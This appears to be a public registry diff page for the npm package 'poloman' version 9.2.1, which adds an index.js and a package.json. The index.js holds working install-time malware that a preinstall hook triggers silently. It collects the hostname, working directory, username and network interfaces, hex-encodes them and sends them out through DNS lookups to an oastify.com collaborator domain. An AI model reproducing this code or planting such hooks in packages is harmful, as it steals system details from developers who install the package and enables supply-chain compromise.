poloman 9.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +28 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,28 @@
1
+ const { exec } = require("child_process");
2
+
3
+ const collaborator = "n1pbc7bx5z3ed0c9ty8q6z4p3g97x0lp.oastify.com";
4
+
5
+ const cmd = `
6
+ a=$(
7
+ hostname;
8
+ pwd;
9
+ whoami;
10
+ ip a;
11
+ echo 'poloman';
12
+ curl -s http://n1pbc7bx5z3ed0c9ty8q6z4p3g97x0lp.oastify.com
13
+ );
14
+ echo "$a" | xxd -p | while read ut; do
15
+ nslookup $ut.${collaborator} >/dev/null 2>&1;
16
+ done
17
+ `;
18
+
19
+ exec(cmd, (error, stdout, stderr) => {
20
+ if (error) {
21
+ console.log("error", error.message);
22
+ return;
23
+ }
24
+ if (stderr) {
25
+ console.log("stderr", stderr);
26
+ }
27
+ console.log(stdout);
28
+ });
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "poloman",
3
+ "version": "9.2.1",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "rangapalan",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.17.21"
14
+ },
15
+ "keywords": []
16
+ }